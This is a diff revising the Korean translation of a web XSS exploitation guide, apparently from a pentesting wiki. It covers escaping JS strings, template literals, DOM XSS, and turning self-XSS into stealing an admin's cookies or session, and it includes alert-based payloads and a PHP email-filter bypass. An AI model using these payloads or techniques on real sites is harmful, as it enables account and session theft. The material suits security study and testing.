수행됩니다. ### JS 코드 내부 -`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 발생하면 JS 코드가 실행되지 않기 때문입니다: +`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. **JS 구문을 수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -487,7 +489,7 @@ onbeforetoggle="alert(2)" /> ``` ### 템플릿 리터럴 \`\` -단일 및 이중 따옴표 외에 **문자열**을 구성하기 위해 JS는 **백틱** **` `` `** 도 허용합니다. 이는 템플릿 리터럴로 알려져 있으며, `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\ +단일 및 이중 따옴표 외에 **문자열**을 구성하기 위해 JS는 **백틱** **` `` `**도 허용합니다. 이는 템플릿 리터럴로 알려져 있으며, `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\ 따라서 입력이 백틱을 사용하는 JS 문자열 내에서 **반영**되고 있음을 발견하면, `${ ... }` 구문을 악용하여 **임의의 JS 코드**를 실행할 수 있습니다: 이것은 다음과 같이 **악용**될 수 있습니다: @@ -739,20 +741,20 @@ top[8680439..toString(30)](1) ## **DOM 취약점** 공격자가 제어하는 **안전하지 않은 데이터**를 사용하는 **JS 코드**가 있습니다. 예를 들어 `location.href`와 같은 것입니다. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.\ -**DOM 취약점에 대한 설명이 길어져서** [**이 페이지로 이동했습니다**](dom-xss.md)**:** +**DOM 취약점에 대한 설명이 확장되어** [**이 페이지로 이동했습니다**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} 여기에서 DOM 취약점이 무엇인지, 어떻게 발생하는지, 그리고 이를 어떻게 악용할 수 있는지에 대한 자세한 **설명을 찾을 수 있습니다**.\ -또한, 언급된 게시물의 **끝부분에서** [**DOM Clobbering 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾는 것을 잊지 마세요. +또한, 언급된 게시물의 **끝부분에서** [**DOM Clobbering 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요. ### Self-XSS 업그레이드 ### 쿠키 XSS -쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인**을 찾으면, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토스 공격을 사용할 수 있습니다: +쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토싱 공격을 사용할 수 있습니다: {{#ref}} ../hacking-with-cookies/cookie-tossing.md @@ -762,19 +764,19 @@ dom-xss.md ### 세션을 관리자에게 전송하기 -사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 경우 취약점이 발생할 수 있습니다. +사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 때 취약점이 발생할 수 있습니다. ### 세션 미러링 -self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있는 경우, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 보게 됩니다. +self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있다면, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 볼 수 있습니다. -당신은 **관리자가 당신의 self XSS를 유발하게 하고 그의 쿠키/세션을 탈취할 수 있습니다**. +당신은 **관리자가 당신의 self XSS를 유발하게 하고 그의 쿠키/세션을 훔칠 수 있습니다**. ## 기타 우회 방법 ### 정규화된 유니코드 -서버(또는 클라이언트 측)에서 **반사된 값**이 **유니코드 정규화**되고 있는지 확인하고 이 기능을 악용하여 보호를 우회할 수 있습니다. [**여기에서 예를 찾으세요**](../unicode-injection/index.html#xss-cross-site-scripting). +서버(또는 클라이언트 측)에서 **반영된 값**이 **유니코드 정규화**되고 있는지 확인하고 이 기능을 악용하여 보호를 우회할 수 있습니다. [**여기에서 예를 찾으세요**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL 플래그 우회 ```javascript @@ -793,7 +795,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` 그런 다음, onfocus 속성이 삽입되고 XSS가 발생합니다. -### 특수 조합 +### 특별한 조합 ```html